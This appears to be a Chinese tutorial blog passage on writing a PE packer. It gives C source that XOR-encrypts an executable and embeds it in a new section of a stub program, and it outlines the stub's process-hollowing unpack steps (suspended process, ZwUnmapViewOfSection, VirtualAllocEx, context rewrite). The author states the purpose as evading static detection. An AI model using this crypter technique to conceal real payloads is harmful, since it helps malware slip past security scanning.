    			 getInfo_dir();
    			 HWND hwnd = GetDlgItem(hwndDlg, IDC_EDIT111);
    			 TCHAR info[0x20];
    			 sprintf(info,"%08x",DN.d1.address);
    			 SetWindowText(hwnd, info);    
    
    			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT112);
    			 sprintf(info,"%08x",DN.d1.size);
    			 SetWindowText(hwnd, info);
    
    			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT113);
    			 sprintf(info,"%08x",DN.d2.address);
    			 SetWindowText(hwnd, info);
    
    			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT114);
    			 sprintf(info,"%08x",DN.d2.size);//数据
    			 SetWindowText(hwnd, info);
    
    			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT115);
    			 sprintf(info,"%08x",DN.d3.address);//代码
    			 SetWindowText(hwnd, info);
    
    			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT116);
    			 sprintf(info,"%08x",DN.d3.size);
    			 SetWindowText(hwnd, info);
    
    			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT117);
    			 sprintf(info,"%08x",DN.d4.address);
    			 SetWindowText(hwnd, info);
    
    			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT118);
    			 sprintf(info,"%08x",DN.d4.size);//标志字
    			 SetWindowText(hwnd, info);
    
    			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT119);
    			 sprintf(info,"%08x",DN.d5.address);//子系统
    			 SetWindowText(hwnd, info);
    
    			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT120);
    			 sprintf(info,"%08x",DN.d5.size);
    			 SetWindowText(hwnd, info);
    
    			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT121);
    			 sprintf(info,"%08x",DN.d6.address);//时间戳
    			 SetWindowText(hwnd, info);
    
    			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT122);
    			 sprintf(info,"%08x",DN.d6.size);
    			 SetWindowText(hwnd, info);
    
    			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT123);
    			 sprintf(info,"%08x",DN.d7.address);//特征直
    			 SetWindowText(hwnd, info);
    
    			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT124);
    			 sprintf(info,"%08x",DN.d7.size);//校验和
    			 SetWindowText(hwnd, info);
    
    			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT125);
    			 sprintf(info,"%08x",DN.d8.address);
    			 SetWindowText(hwnd, info);
    			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT126);
    			 sprintf(info,"%08x",DN.d8.size);
    			 SetWindowText(hwnd, info);
    			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT127);
    			 sprintf(info,"%08x",DN.d9.address);
    			 SetWindowText(hwnd, info);
    			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT128);
    			 sprintf(info,"%08x",DN.d9.size);
    			 SetWindowText(hwnd, info);
    			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT129);
    			 sprintf(info,"%08x",DN.d10.address);
    			 SetWindowText(hwnd, info);
    			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT130);
    			 sprintf(info,"%08x",DN.d10.size);
    			 SetWindowText(hwnd, info);
    			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT131);
    			 sprintf(info,"%08x",DN.d11.address);
    			 SetWindowText(hwnd, info);
    			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT132);
    			 sprintf(info,"%08x",DN.d11.size);
    			 SetWindowText(hwnd, info);
    			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT133);
    			 sprintf(info,"%08x",DN.d12.address);
    			 SetWindowText(hwnd, info);
    			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT134);
    			 sprintf(info,"%08x",DN.d12.size);
    			 SetWindowText(hwnd, info);
    			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT135);
    			 sprintf(info,"%08x",DN.d13.address);
    			 SetWindowText(hwnd, info);
    			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT136);
    			 sprintf(info,"%08x",DN.d13.size);
    			 SetWindowText(hwnd, info);
    			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT137);
    			 sprintf(info,"%08x",DN.d14.address);
    			 SetWindowText(hwnd, info);
    			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT138);
    			 sprintf(info,"%08x",DN.d14.size);
    			 SetWindowText(hwnd, info);
    			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT139);
    			 sprintf(info,"%08x",DN.d15.address);
    			 SetWindowText(hwnd, info);
    			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT140);
    			 sprintf(info,"%08x",DN.d15.size);
    			 SetWindowText(hwnd, info);
    			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT141);
    			 sprintf(info,"%08x",DN.d16.address);
    			 SetWindowText(hwnd, info);
    			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT142);
    			 sprintf(info,"%08x",DN.d16.size);
    			 SetWindowText(hwnd, info);
    
    		}
    
    	case WM_COMMAND:
    		{
    		switch(LOWORD(wParam))
    		{
    		case IDC_BUTTON11:
    			{
    				EndDialog(hwndDlg,0);
    				break;
    			}
    		case IDC_BUTTON111:
    			{
    				if(DN.d1.size!=0)
    				DialogBox(hInstanceicon,MAKEINTRESOURCE(IDD_DIALOG112),NULL,DIRECTION1_DEAL);
    				break;
    			}
    		case IDC_BUTTON112:
    			{	
    				if(DN.d2.size!=0)
    				DialogBox(hInstanceicon,MAKEINTRESOURCE(IDD_DIALOG111),NULL,DIRECTION2_DEAL);
    				break;
    			}
    		case IDC_BUTTON113:
    			{
    				if(DN.d3.size!=0)
    				DialogBox(hInstanceicon,MAKEINTRESOURCE(IDD_DIALOG113),NULL,DIRECTION3_DEAL);
    				break;
    			}
    		case IDC_BUTTON114:
    			{
    				if(DN.d6.size!=0)
    				DialogBox(hInstanceicon,MAKEINTRESOURCE(IDD_DIALOG114),NULL,DIRECTION4_DEAL);
    				break;
    			}
    		case IDC_BUTTON115:
    			{
    				if(DN.d12.size!=0)
    				DialogBox(hInstanceicon,MAKEINTRESOURCE(IDD_DIALOG115),NULL,DIRECTION5_DEAL);
    				break;
    			}
    		}
    
    		}
    
    	}
    	return false;
    }
    BOOL CALLBACK PE_DEAL(									
    						 HWND hwndDlg,  // handle to dialog box			
    						 UINT uMsg,     // message			
    						 WPARAM wParam, // first message parameter			
    						 LPARAM lParam  // second message parameter			
    						 )			
    {						
    	switch(uMsg)
    	{
    	case WM_CLOSE:
    		{
    			EndDialog(hwndDlg,0);
    			break;
    		}
    	case WM_INITDIALOG:
    		{
    			 getInfo();
    			 HWND hwnd = GetDlgItem(hwndDlg, IDC_EDIT1);
    			 TCHAR info[0x20];
    			 sprintf(info,"%08x",headers_file.e_lfanew);
    			 SetWindowText(hwnd, info);    
    
    			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT2);
    			 sprintf(info,"%08x",headers_file.ImageBase);
    			 SetWindowText(hwnd, info);
    
    			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT3);
    			 sprintf(info,"%08x",headers_file.SizeOfImage);
    			 SetWindowText(hwnd, info);
    
    			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT4);
    			 sprintf(info,"%08x",headers_file.BaseOfData);//数据
    			 SetWindowText(hwnd, info);
    
    			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT5);
    			 sprintf(info,"%08x",headers_file.BaseOfCode);//代码
    			 SetWindowText(hwnd, info);
    
    			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT6);
    			 sprintf(info,"%08x",headers_file.SectionAlignment);
    			 SetWindowText(hwnd, info);
    
    			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT7);
    			 sprintf(info,"%08x",headers_file.FileAlignment);
    			 SetWindowText(hwnd, info);
    
    			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT8);
    			 sprintf(info,"%04x",headers_file.Characteristics);//标志字
    			 SetWindowText(hwnd, info);
    
    			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT9);
    			 sprintf(info,"%08x",headers_file.EntryPoint);
    			 SetWindowText(hwnd, info);
    
    			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT10);
    			 sprintf(info,"%04x",headers_file.NumberOfSections);
    			 SetWindowText(hwnd, info);
    
    			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT11);
    			 sprintf(info,"%08x",headers_file.TimeDateStamp);//时间戳
    			 SetWindowText(hwnd, info);
    
    			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT12);
    			 sprintf(info,"%08x",headers_file.SizeOfHeaders);
    			 SetWindowText(hwnd, info);
    
    			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT13);
    			 sprintf(info,"%08x",headers_file.NumberOfRvaAndSizes);//特征直
    			 SetWindowText(hwnd, info);
    
    			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT14);
    			 sprintf(info,"%08x",headers_file.CheckSum);//校验和
    			 SetWindowText(hwnd, info);
    
    			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT15);
    			 sprintf(info,"%04x",headers_file.SizeOfOptionalHeader);
    			 SetWindowText(hwnd, info);
    
    		}
    
    	case WM_COMMAND:
    		{
    		switch(LOWORD(wParam))
    		{
    		case IDC_BUTTONA1:
    			{
    				EndDialog(hwndDlg,0);
    				break;
    			}
    		case IDC_BUTTONA2:
    			{
    				DialogBox(hInstanceicon,MAKEINTRESOURCE(IDD_DIALOG_WIN12),NULL,SECTION_DEAL);
    				break;
    			}
    		case IDC_BUTTONA3:
    			{
    				DialogBox(hInstanceicon,MAKEINTRESOURCE(IDD_DIALOG_WIN11),NULL,DIRECTION_DEAL);
    				break;
    			}
    		}
    
    		}
    
    	}
    	return false;
    }
    void getInfo_2(char* start){
    	headers_file.e_lfanew = get_int_data(start,60);
    	start = start+headers_file.e_lfanew;
    	headers_file.NumberOfSections = get_short_data(start,6);
    	headers_file.SizeOfOptionalHeader = get_short_data(start,20);
    	start = start+24;
    	headers_file.EntryPoint = get_int_data(start,16);
    	headers_file.ImageBase = get_int_data(start,28);
    	headers_file.SectionAlignment = get_int_data(start,32);
    	headers_file.SizeOfImage = get_int_data(start,56);
    	headers_file.FileAlignment = get_int_data(start,36);
    	headers_file.SizeOfHeaders = get_int_data(start,60);
    }
    char* memcopy_image_2(char* start_file){
    	char* start_image;
    	start_image = (char*)malloc(headers_file.SizeOfImage);
    	memset(start_image,0,headers_file.SizeOfImage);
    	memcpy(start_image,start_file,headers_file.SizeOfHeaders);
    	int i;
    	char* start_section = start_file+headers_file.e_lfanew+24+headers_file.SizeOfOptionalHeader;
    	for(i=0;i<headers_file.NumberOfSections;i++){
    		sections.PointerToRawData = get_int_data(start_section,20);
    		sections.SizeOfRawData = get_int_data(start_section,16);
    		sections.VirtualAddress = get_int_data(start_section,12);
    		sections.VirtualSize = get_int_data(start_section,8);
    		memcpy(start_image+sections.VirtualAddress,start_file+sections.PointerToRawData,sections.SizeOfRawData);
    		start_section = start_section+40;
    	}
    	return start_image;
    }
    void addcode(char* start_image){
    	int point = (int)start_image;
    	memcpy(start_image+sections.VirtualAddress,p2,flen);
    			
    }
    
    char* add_section_2(char* start_image){
    	char* start_new_image;
    	if(headers_file.SizeOfHeaders-headers_file.e_lfanew-headers_file.SizeOfOptionalHeader-24-headers_file.NumberOfSections*40<80){
    		//printf("space is not statific");
    	}
    	else{
    		//printf("space is statific");
    		start_new_image = (char*)malloc(headers_file.SizeOfImage+(flen/0x1000+1)*0x1000);
    		memset(start_new_image,0,headers_file.SizeOfImage+(flen/0x1000+1)*0x1000);
    		memcpy(start_new_image,start_image,headers_file.SizeOfImage);
    		*(short*)(start_new_image+headers_file.e_lfanew+6) = headers_file.NumberOfSections+1;
    		*(int*)(start_new_image+headers_file.e_lfanew+80) = headers_file.SizeOfImage+(flen/0x1000+1)*0x1000;
    		memcpy(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40,start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24,40);
    		*(char*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40) = 'a';
    		*(int*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40+0x24) = 0xe0000020;
    		*(int*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40+8) = (flen/0x1000+1)*0x1000;
    		printf("%x",(flen/0x1000+1)*0x1000);
    		int a;
    		if((sections.VirtualAddress+sections.VirtualSize)%0x1000==0){
    			a = sections.VirtualAddress+sections.VirtualSize;
    		}
    		else{
    			a = ((sections.VirtualAddress+sections.VirtualSize)/0x1000+1)*0x1000;
    		}
    		//sections.VirtualSize = headers_file.SectionAlignment;
    		if(sections.VirtualSize>sections.SizeOfRawData){
    			*(int*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40+12) =  a;
    		}
    		else{
    			*(int*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40+12) =  a;
    		}
    		//printf("%x
    ",a);
    		
    		//sections.VirtualAddress =   sections.VirtualAddress+sections.VirtualSize;
    		*(int*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40+16) =  (flen/0x1000+1)*0x1000;
    		//sections.SizeOfRawData = headers_file.FileAlignment;
    		*(int*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40+20) = sections.PointerToRawData+sections.SizeOfRawData;
    		if(sections.VirtualSize>sections.SizeOfRawData){
    			sections.VirtualAddress = a;}
    		else{
    			sections.VirtualAddress = a;
    		}
    		sections.PointerToRawData = sections.PointerToRawData+sections.SizeOfRawData;
    		sections.VirtualSize = (flen/0x1000+1)*0x1000;
    		sections.SizeOfRawData = (flen/0x1000+1)*0x1000;
    	}
    	addcode(start_new_image);
    	return start_new_image;
    }
    char* memcopy_file_2(char* start_image){
    	char* start_file;
    	start_file = (char*)malloc(len1+(flen/0x1000+1)*0x1000);
    	//printf("%x",flen+headers_file.SectionAlignment);
    	memset(start_file,0,len1+(flen/0x1000+1)*0x1000); 
    	memcpy(start_file,start_image,headers_file.SizeOfHeaders);
    	int i; 
    	char* start_section = start_image+headers_file.e_lfanew+24+headers_file.SizeOfOptionalHeader;
    	for(i=0;i<headers_file.NumberOfSections+1;i++){
    		sections.PointerToRawData = get_int_data(start_section,20);
    		sections.SizeOfRawData = get_int_data(start_section,16);
    		sections.VirtualAddress = get_int_data(start_section,12);
    		memcpy(start_file+sections.PointerToRawData,start_image+sections.VirtualAddress,sections.SizeOfRawData);
    		start_section = start_section+40;
    	}
    	return start_file;
    }
    void copy_file_2(char* start_file){
    	FILE* fp = fopen("C:\Documents and Settings\Administrator\桌面\加密后.exe","wb");
    	fwrite(start_file,len1+(flen/0x1000+1)*0x1000,1,fp);
    	fclose(fp);
    }
    void up_Info(char* start){
    	char* start_new;
    	start_new = (char*)malloc(headers_file.SizeOfHeaders);
    	memcpy(start_new,start+headers_file.e_lfanew,24+headers_file.SizeOfOptionalHeader+headers_file.NumberOfSections*40);
    	memcpy(start+64,start_new,24+headers_file.SizeOfOptionalHeader+headers_file.NumberOfSections*40);
    	free(start_new);
    	*(int*)(start+60) = 64;
    }
    char* readfile(char* path){
    	FILE* fp;
    	fp = fopen(path,"rb");
    	if(fp == NULL){
    		printf("file error");
    	}
    	fseek(fp,0L,SEEK_END);
    	flen = ftell(fp);
    	fseek(fp,0L,SEEK_SET);
    	char* buffer;
    	buffer = (char*)malloc(flen);
    	fread(buffer,flen,1,fp);
    	fclose(fp);
    	return buffer;
    }
    void encrypt(char* data,int len){
    	for(int i =0;i<len;i++)
    	{
    		data[i] ^='4310';
    	}
    }
    VOID Loading_Shell()			
    {
    	char shellPath[1024] = "shellC.exe";
    	p1 = readfile(shellPath);
    	len1 = flen;
    	p2 = get_file();
    	len2 = flen;
    	encrypt(p2,len2);
    	getInfo_2(p1);
    	up_Info(p1);
    	getInfo_2(p1);
    	char* start_image = memcopy_image_2(p1);
    	free(p1);
    	char* start_new_image = add_section_2(start_image);
    	free(start_image);
    	char* start_file = memcopy_file_2(start_new_image);
    	copy_file_2(start_file);
    	free(start_file);
    //	return 0;
    }
    BOOL CALLBACK DialogProc(									
    						 HWND hwndDlg,  // handle to dialog box			
    						 UINT uMsg,     // message			
    						 WPARAM wParam, // first message parameter			
    						 LPARAM lParam  // second message parameter			
    						 )			
    {									
    	hwndDlg1 = hwndDlg;
    	switch(uMsg)								
    	{	
    	case WM_INITDIALOG:
    		{
    			HICON hIcon = LoadIcon(hInstanceicon,MAKEINTRESOURCE(IDI_ICON1));
    			SendMessage(hwndDlg,WM_SETICON,ICON_BIG,(long)hIcon);
    			SendMessage(hwndDlg,WM_SETICON,ICON_SMALL,(long)hIcon);
    			InitProcessListView(hwndDlg);
    			InitProcessListView_down(hwndDlg);
    
    			return true;
    		}
    	case WM_CLOSE:
    		{
    			EndDialog(hwndDlg,0);
    			break;
    		}
    	case WM_COMMAND:
    		{
    			switch(LOWORD(wParam))
    			{
    			case IDC_BUTTON1:
    				{
    					TCHAR szPeFileExt[100] = "*.exe;*.dll;*.scr;*.drv;*.sys";
    					TCHAR szFileName[256];
    					memset(szFileName,0,256);
    					memset(&stOpenFile,0,sizeof(OPENFILENAME));
    					stOpenFile.lStructSize = sizeof(OPENFILENAME);
    					stOpenFile.Flags = OFN_FILEMUSTEXIST|OFN_PATHMUSTEXIST;
    					stOpenFile.hwndOwner = hwndDlg;
    					stOpenFile.lpstrFilter = szPeFileExt;
    					stOpenFile.lpstrFile = szFileName;
    					stOpenFile.nMaxFile = MAX_PATH;
    					
    					GetOpenFileName(&stOpenFile);
    
    					DialogBox(hInstanceicon,MAKEINTRESOURCE(IDD_DIALOG_WIN1),NULL,PE_DEAL);
    					return true;
    				}
    			case IDC_BUTTON4:
    				{
    					TCHAR szPeFileExt[100] = "*.exe;*.dll;*.scr;*.drv;*.sys";
    					TCHAR szFileName[256];
    					memset(szFileName,0,256);
    					memset(&stOpenFile,0,sizeof(OPENFILENAME));
    					stOpenFile.lStructSize = sizeof(OPENFILENAME);
    					stOpenFile.Flags = OFN_FILEMUSTEXIST|OFN_PATHMUSTEXIST;
    					stOpenFile.hwndOwner = hwndDlg;
    					stOpenFile.lpstrFilter = szPeFileExt;
    					stOpenFile.lpstrFile = szFileName;
    					stOpenFile.nMaxFile = MAX_PATH;
    					
    					GetOpenFileName(&stOpenFile);
    					
    					Loading_Shell();
    					return true;
    				}
    			case IDC_BUTTON3:
    				{
    					EndDialog(hwndDlg,0);
    					return true;
    				}
    			}
    	case WM_NOTIFY:
    		{
    			NMHDR* pNMHDR = (NMHDR*)lParam;
    			if(wParam == IDC_PROCESS1 && pNMHDR->code == NM_CLICK)
    			{
    				EnumModules(GetDlgItem(hwndDlg,IDC_PROCESS1),wParam,lParam,GetDlgItem(hwndDlg,IDC_PROCESS2));
    			}
    		}
    		}
    	}
    
    
    	return FALSE ;								
    }									
    
    
    int APIENTRY WinMain(HINSTANCE hInstance,
                         HINSTANCE hPrevInstance,
                         LPSTR     lpCmdLine,
                         int       nCmdShow)
    {
     	// TODO: Place code here.
    	hInstanceicon = hInstance;
    	INITCOMMONCONTROLSEX icex;	
    	icex.dwSize = sizeof(INITCOMMONCONTROLSEX);	
    	icex.dwICC = ICC_WIN95_CLASSES;	
    	InitCommonControlsEx(&icex);
    
    	DialogBox(hInstance,MAKEINTRESOURCE(IDD_DIALOG_MAIN),NULL,DialogProc);
    
    	return 0;
    }
    

     三、加壳思路及代码实现

    •  思路

    1、获取Shell程序的路径

    2、获取src程序的路径

    3、将src程序读取到内存中,加密(我使用了最简单的异或,密钥是“4310”,可以随意更换加密方式)   

    4、在Shell程序中新增一个节,并将加密后的src程序追加到Shell程序的新增节中

    5、加壳过程完毕

    •  壳子程序思路

    1、获取SHELL程序的路径

    2、获取src的数据

    (1) 定为到SHELL文件的最后一个节

    (2) 将数据取出,并解密

    3、拉伸PE

    将解密后的PE文件在内存中拉伸,并存储到缓冲区中

    4、以挂起方式运行Shell进程

    (0) 以挂起形成创建Shell进程,并得到主线程的Context

    (1) 卸载外壳程序的文件镜像(ZwUnmapViewOfSection)

    (2) 在指定的位置(src的ImageBase)申请指定大小(src的SizeOfImage)的内存(VirtualAllocEx)

    (3) 如果创建失败,查看src是否包含重定位表,如果包含重定位表,就在任意位置申请(src的SizeOfImage)
    大小的内存,然后修复重定位表.

    (4) 如果在指定位置申请内存失败,并且没有重定位表的数据,直接返回失败.

    (5) 如果内存申请成功,将新的数据复制到内存中

    (6) 修正运行环境的基址和入口地址

    (7) 恢复主线程执行

    • 壳子程序流程

    1、读取主模块的数据

    2、解密:得到原来的PE文件

    3、以挂起的形式创建进程:CreateProcess :要创建的进程在哪里?

    要创建的进程,就是壳子本身!

    4、获取外壳程序的Context,后面要用.

    5、卸载外壳程序.

    6、在指定的位置分配空间:位置就是src的ImageBase 大小就是Src的SizeOfImage

    7、如果成功,将Src的PE文件拉伸 复制到该空间中

    8、如果申请空间失败,但有重定位表:在任意位置申请空间,然后将PE文件拉伸、复制、修复重定位表。

    9、如果第6步申请空间失败,并且还没有重定位表,直接返回:失败.

    10、修改外壳程序的Context:

    将Context的ImageBase 改成 Src的ImageBase

    将Context的OPE 改成 Src的OEP

    11、设置Context 并恢复主线程

    12、终止外壳程序,解壳过程结束.

    • 原理

    这样对加壳后的程序进行分析,分析的是壳子程序本身,而不是原程序,达到了防止静态检测的目的,但是对动态检测效果甚微。

    • 代码

    加密部分:

    // 加密部分.cpp : Defines the entry point for the console application.
    //
    
    #include "stdafx.h"
    #include <stdlib.h>
    #include <malloc.h>
    #include <string.h>
    int flen,len1;
    int flag = 1;
    char* p1;
    char* p2;
    typedef struct PE{
    	int e_lfanew;
    	short NumberOfSections;
    	short SizeOfOptionalHeader;
    	int EntryPoint;
    	int ImageBase ;
    	int SectionAlignment ;
    	int SizeOfImage;
    	int FileAlignment;
    	int SizeOfHeaders;
    }headers;
    
    typedef struct sec{
    	int PointerToRawData;
    	int SizeOfRawData;
    	int VirtualAddress;
    	int VirtualSize;
    }section;
    
    headers headers_file;
    section sections;
    char get_char_data(char* start,int distance){
    	char data = *(start+distance);
    	return data;
    }
    short get_short_data(char* start,int distance){
    	short data =*(short*) (start+distance);
    	return data;
    }
    int get_int_data(char* start,int distance){
    	int data =*(int*) (start+distance);
    	return data;
    }
    void getInfo(char* start){
    	headers_file.e_lfanew = get_int_data(start,60);
    	start = start+headers_file.e_lfanew;
    	headers_file.NumberOfSections = get_short_data(start,6);
    	headers_file.SizeOfOptionalHeader = get_short_data(start,20);
    	start = start+24;
    	headers_file.EntryPoint = get_int_data(start,16);
    	headers_file.ImageBase = get_int_data(start,28);
    	headers_file.SectionAlignment = get_int_data(start,32);
    	headers_file.SizeOfImage = get_int_data(start,56);
    	headers_file.FileAlignment = get_int_data(start,36);
    	headers_file.SizeOfHeaders = get_int_data(start,60);
    }
    char* memcopy_image(char* start_file){
    	char* start_image;
    	start_image = (char*)malloc(headers_file.SizeOfImage);
    	memset(start_image,0,headers_file.SizeOfImage);
    	memcpy(start_image,start_file,headers_file.SizeOfHeaders);
    	int i;
    	char* start_section = start_file+headers_file.e_lfanew+24+headers_file.SizeOfOptionalHeader;
    	for(i=0;i<headers_file.NumberOfSections;i++){
    		sections.PointerToRawData = get_int_data(start_section,20);
    		sections.SizeOfRawData = get_int_data(start_section,16);
    		sections.VirtualAddress = get_int_data(start_section,12);
    		sections.VirtualSize = get_int_data(start_section,8);
    		memcpy(start_image+sections.VirtualAddress,start_file+sections.PointerToRawData,sections.SizeOfRawData);
    		start_section = start_section+40;
    	}
    	return start_image;
    }
    void addcode(char* start_image){
    	int point = (int)start_image;
    	memcpy(start_image+sections.VirtualAddress,p2,flen);
    			
    }
    
    char* add_section(char* start_image){
    	char* start_new_image;
    	if(headers_file.SizeOfHeaders-headers_file.e_lfanew-headers_file.SizeOfOptionalHeader-24-headers_file.NumberOfSections*40<80){
    		printf("space is not statific");
    	}
    	else{
    		printf("space is statific");
    		start_new_image = (char*)malloc(headers_file.SizeOfImage+(flen/0x1000+1)*0x1000);
    		memset(start_new_image,0,headers_file.SizeOfImage+(flen/0x1000+1)*0x1000);
    		memcpy(start_new_image,start_image,headers_file.SizeOfImage);
    		*(short*)(start_new_image+headers_file.e_lfanew+6) = headers_file.NumberOfSections+1;
    		*(int*)(start_new_image+headers_file.e_lfanew+80) = headers_file.SizeOfImage+(flen/0x1000+1)*0x1000;
    		memcpy(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40,start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24,40);
    		*(char*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40) = 'a';
    		*(int*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40+0x24) = 0xe0000020;
    		*(int*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40+8) = (flen/0x1000+1)*0x1000;
    		printf("%x",(flen/0x1000+1)*0x1000);
    		int a;
    		if((sections.VirtualAddress+sections.VirtualSize)%0x1000==0){
    			a = sections.VirtualAddress+sections.VirtualSize;
    		}
    		else{
    			a = ((sections.VirtualAddress+sections.VirtualSize)/0x1000+1)*0x1000;
    		}
    		//sections.VirtualSize = headers_file.SectionAlignment;
    		if(sections.VirtualSize>sections.SizeOfRawData){
    			*(int*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40+12) =  a;
    		}
    		else{
    			*(int*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40+12) =  a;
    		}
    		printf("%x
    ",a);
    		
    		//sections.VirtualAddress =   sections.VirtualAddress+sections.VirtualSize;
    		*(int*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40+16) =  (flen/0x1000+1)*0x1000;
    		//sections.SizeOfRawData = headers_file.FileAlignment;
    		*(int*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40+20) = sections.PointerToRawData+sections.SizeOfRawData;
    		if(sections.VirtualSize>sections.SizeOfRawData){
    			sections.VirtualAddress = a;}
    		else{
    			sections.VirtualAddress = a;
    		}
    		sections.PointerToRawData = sections.PointerToRawData+sections.SizeOfRawData;
    		sections.VirtualSize = (flen/0x1000+1)*0x1000;
    		sections.SizeOfRawData = (flen/0x1000+1)*0x1000;
    	}
    	addcode(start_new_image);
    	return start_new_image;
    }
    char* memcopy_file(char* start_image){
    	char* start_file;
    	start_file = (char*)malloc(len1+(flen/0x1000+1)*0x1000);
    	//printf("%x",flen+headers_file.SectionAlignment);
    	memset(start_file,0,len1+(flen/0x1000+1)*0x1000); 
    	memcpy(start_file,start_image,headers_file.SizeOfHeaders);
    	int i; 
    	char* start_section = start_image+headers_file.e_lfanew+24+headers_file.SizeOfOptionalHeader;
    	for(i=0;i<headers_file.NumberOfSections+1;i++){
    		sections.PointerToRawData = get_int_data(start_section,20);
    		sections.SizeOfRawData = get_int_data(start_section,16);
    		sections.VirtualAddress = get_int_data(start_section,12);
    		memcpy(start_file+sections.PointerToRawData,start_image+sections.VirtualAddress,sections.SizeOfRawData);
    		start_section = start_section+40;
    	}
    	return start_file;
    }
    void copy_file(char* start_file){
    	FILE* fp = fopen("C:\Documents and Settings\Administrator\桌面\4310.exe","wb");
    	fwrite(start_file,len1+(flen/0x1000+1)*0x1000,1,fp);
    	fclose(fp);
    }
    void up_Info(char* start){
    	char* start_new;
    	start_new = (char*)malloc(headers_file.SizeOfHeaders);
    	memcpy(start_new,start+headers_file.e_lfanew,24+headers_file.SizeOfOptionalHeader+headers_file.NumberOfSections*40);
    	memcpy(start+64,start_new,24+headers_file.SizeOfOptionalHeader+headers_file.NumberOfSections*40);
    	free(start_new);
    	*(int*)(start+60) = 64;
    }
    /* run this program using the console pauser or add your own getch, system("pause") or input loop */
    char* readfile(char* path){
    	FILE* fp;
    	fp = fopen(path,"rb");
    	if(fp == NULL){
    		printf("file error");
    	}
    	fseek(fp,0L,SEEK_END);
    	flen = ftell(fp);
    	fseek(fp,0L,SEEK_SET);
    	char* buffer;
    	buffer = (char*)malloc(flen);
    	fread(buffer,flen,1,fp);
    	fclose(fp);
    	return buffer;
    }
    void encrypt(char* data,int len){
    	for(int i =0;i<len;i++)
    	{
    		data[i] ^='4310';
    	}
    }
    int main(int argc, char *argv[]) {
    	char shellPath[1024] = "C:\Program Files\Microsoft Visual Studio1\MyProjects\shellC\Debug\shellC.exe";
    	char srcPath[1024] = "C:\Documents and Settings\Administrator\桌面\MyGetColor.exe";
    	int len2;
    	p1 = readfile(shellPath);
    	len1 = flen;
    	p2 =readfile(srcPath);
    	len2 = flen;
    	encrypt(p2,len2);
    	getInfo(p1);
    	up_Info(p1);
    	getInfo(p1);
    	char* start_image = memcopy_image(p1);
    	free(p1);
    	char* start_new_image = add_section(start_image);
    	free(start_image);
    	char* start_file = memcopy_file(start_new_image);
    	copy_file(start_file);
    	free(start_file);
    	return 0;
    }
    

      壳子程序:

    // shellC.cpp : Defines the entry point for the console application.
    //
    
    #include "stdafx.h"
    #include <windows.h>
    #include <stdlib.h>
